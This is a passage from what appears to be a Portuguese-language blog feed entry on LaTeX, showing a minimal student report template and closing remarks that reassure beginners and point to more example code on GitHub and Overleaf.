&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\documentclass&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[11pt]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;article&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;% Fonte em português brasileiro&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[brazilian]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;babel&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[utf8]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;inputenc&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[T1]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fontenc&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;lmodern&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;% Identação e Margens&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fullpage&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;      &lt;span class=&quot;c&quot;&gt;% Margens&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;indentfirst&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;c&quot;&gt;% Autoidentar&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;% Figuras&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;graphicx&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;       &lt;span class=&quot;c&quot;&gt;% Pictures&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\graphicspath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;./figuras/&lt;span class=&quot;p&quot;&gt;}}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;% Path&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;\begin{document}&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;% Cabeçalho simples&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\noindent&lt;/span&gt; Aluno 1 &lt;span class=&quot;k&quot;&gt;\hfill&lt;/span&gt; Matrícula 1
&lt;span class=&quot;k&quot;&gt;\noindent&lt;/span&gt; Aluno 2 &lt;span class=&quot;k&quot;&gt;\hfill&lt;/span&gt; Matrícula 2

&lt;span class=&quot;k&quot;&gt;\noindent&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\textbf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Relatório 1: &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\noindent&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\rule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;\linewidth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}{&lt;/span&gt;1.5pt&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;% Início do texto&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\section&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Introdução&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

Esta é uma introdução.

&lt;span class=&quot;k&quot;&gt;\section&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Conclusão&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

Esta é uma conclusão.

&lt;span class=&quot;nt&quot;&gt;\end{document}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;considerações-finais&quot;&gt;Considerações Finais&lt;/h2&gt;

&lt;p&gt;Em primeiro lugar, &lt;strong&gt;não se assuste&lt;/strong&gt;. O LaTeX pode parecer complicado à primeira vista por ter um paradigma muito diferente dos produtores de texto usuais. Tenha em mente que uma vez que o conhecimento básico foi dominado, será mais fácil e rápido fazer documentos em LaTeX pela despreocupação com os estilos de títulos e parágrafos, e principalmente ao digitar equações.&lt;/p&gt;

&lt;p&gt;Para saber mais, consulte &lt;a href=&quot;https://github.com/bvanelli/texdefault&quot;&gt;mais códigos de exemplo&lt;/a&gt; disponibilizados na minha página do Github, &lt;a href=&quot;https://www.overleaf.com/latex/templates&quot;&gt;exemplos do Overleaf&lt;/a&gt; e o bom e velho Google.&lt;/p&gt;
</content>
 </entry>
 

</feed>
